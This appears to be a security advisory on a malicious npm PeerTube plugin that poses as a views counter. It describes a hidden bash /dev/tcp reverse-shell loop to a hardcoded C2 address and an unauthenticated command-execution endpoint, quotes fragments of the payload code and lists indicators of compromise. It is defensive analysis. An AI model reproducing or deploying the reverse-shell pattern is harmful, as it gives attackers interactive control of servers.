GCVE-110-OSM-2026-11647

plugin.js contains a top-level IIFE that spawns bash with a /dev/tcp reverse-shell loop to the hardcoded host 45.137.222.44:4444, detached and unref'd, executing whenever PeerTube loads the plugin module. The same file registers a POST /cmd route on the plugin's HTTP router that passes a caller-supplied `cmd` field directly to child_process.exec with shell '/bin/bash' and returns stdout/stderr, with no authentication or allowlist. The reverse-shell code is labeled as a `background sync worker (keeps view history storage warm)` and its function is named `connect`, but performs no view-counting work. Together these give the remote host at 45.137.222.44 and any HTTP client able to reach the plugin router full interactive shell access on the PeerTube server. Judge assessment: This package is a remote-access trojan for a PeerTube server, not a views counter: `plugin.js` exposes an unauthenticated `POST /cmd` endpoint that passes attacker-supplied input directly to `child_process.exec` with `/bin/bash`, enabling arbitrary command execution. The top-level IIFE then spawns a detached bash loop to `/dev/tcp/45.137.222.44/4444`, which is a hardcoded reverse-shell/C2 channel running on plugin load and hidden with `stdio: 'ignore'` and `unref()`. The attacker model is straightforward: whoever controls the package can gain interactive shell access to the host and maintain a background connection to `45.137.222.44`. The OSV advisory `MAL-2026-15902` is fully corroborated by the entrypoint code and the plaintext exfil IOC. ENTRY plugin.js (main: plugin.js) DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - System Information Collection in plugin.js: "process.platform" ADDITIONAL FINDINGS - Stealth Background Process Spawning in plugin.js: "spawn('bash', ['-c', 'while :; do { exec 3<>/dev/tcp/' + HOST + '/' + PORT + '; ..." - Shell Command Execution in plugin.js: "require('child_process')" - Silent Process Execution in plugin.js: "stdio: 'ignore'" - Detached Child Process Payload in plugin.js: "spawn('bash', ['-c', 'while :; do { exec 3<>/dev/tcp/' + HOST + '/' + PORT + '; ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES plugin.js